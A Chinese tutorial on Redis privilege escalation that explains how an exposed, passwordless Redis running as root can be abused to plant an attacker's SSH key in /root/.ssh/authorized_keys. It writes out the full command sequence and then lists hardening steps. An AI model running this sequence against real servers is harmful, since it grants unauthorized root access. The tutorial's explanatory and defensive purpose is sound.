Redis 提权漏洞原理利用与防范
漏洞利用原理
漏洞利用先决条件
- root 权限运行 Redis
- 弱密码/空密码
- socket 监听 0.0.0.0,或外网做了端口映射
原理
首先介绍一下 Redis 的几个命令,这几个命令配合起来使用,威力无穷。
set
命令set 是 Redis 中最常用的指令之一,它的功能是将一个值赋予给一个键,如
set name 陈日志
就将我的名字陈日志
赋值给了 Redis 中的一个键name
了。config set dir
命令config set dir
的功能是设置当前工作目录,和 Linux 中的cd
命令是类似的功能,如config set dir /root/.ssh/
就将工作目录切换到了 /root/.ssh/ 下了。config set dbfilename
命令该命令设置数据库的名字,如
config set dbfilename "authorized_keys"
将数据库名称设置为 authorized_keyssave
命令sava
命令将数据库保存到当前工作目录,保存的文件为 dbfilename 定义的文件名
OK,介绍完这几个命令之后,你有没有一个大胆的想法?
不管有没有,容我再介绍一下 SSH 是怎么免密码登陆的。
假设有一台 Linux (A) 想要免密码登陆 另一台 Linux (B) ,这个功能是怎么实现的呢?很简单,将 A 的 SSH 密钥 加到 B 的信任列表里就可以了,而这个信任列表就是 /root/.ssh/authorized_keys。
我有个大胆的想法。
利用 Redis 将我本机的 SSH 密钥保存到对方主机的信任列表里,这样我就能免密码登陆了。
捋起袖子加油干
知道了原理,还等啥,干它咯。
生成本机 SSH KEY
ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
准备公钥文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo "\n\n") > pub.key
连接目标 Redis
# 将 SSH KEY 作为值写到 Redis 的一个键中 cat pub.key | redis-cli -h 192.168.192.200 -x set aaaaa # 再次连接 Redis redis-cli -h 192.168.192.200 # 切换目录 192.168.192.200> config set dir /root/.ssh OK 192.168.192.200> config set dbfilename "authorized_keys" OK 192.168.192.200> save OK
hahaha,接下来就能免密码登陆了
ssh [email protected]
防范
小学生的水平就能轻松攻破一台 Linux 服务器,爽吧。那么该如何防范这个漏洞呢?
1. 禁止高危命令
修改 redis.conf ,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
或将命令改名
rename-command FLUSHALL "MYFLUSHALL"
rename-command CONFIG "MYCONFIG"
rename-command EVAL "MYEVAL"
2. 不用 root 运行 Redis
su -s /bin/bash redis -c "./redis-server redis.conf"
或
runuser -s /bin/bash redis -c "./redis-server redis.conf"
* /bin/bash 后面的 redis 为用户名,这个用户的 shell 应为 /sbin/nologin,即不允许登陆 shell。
* 这个用户最好是不能登录shell的。
3. 设置 Redis 鉴权密码
修改 redis.conf
requirepass YOUR-STRONG-PASSWORD
4. 不要监听 0.0.0.0
套接字仅绑定所需要用到的地址上。
如果 Redis 仅本机使用,修改 redis.conf
bind 127.0.0.1
如果 Redis 需要被其它服务器使用,修改 redis.conf
bind 内网网卡地址
5. 做好防火墙限制
禁止 Redis 端口暴露到公网上。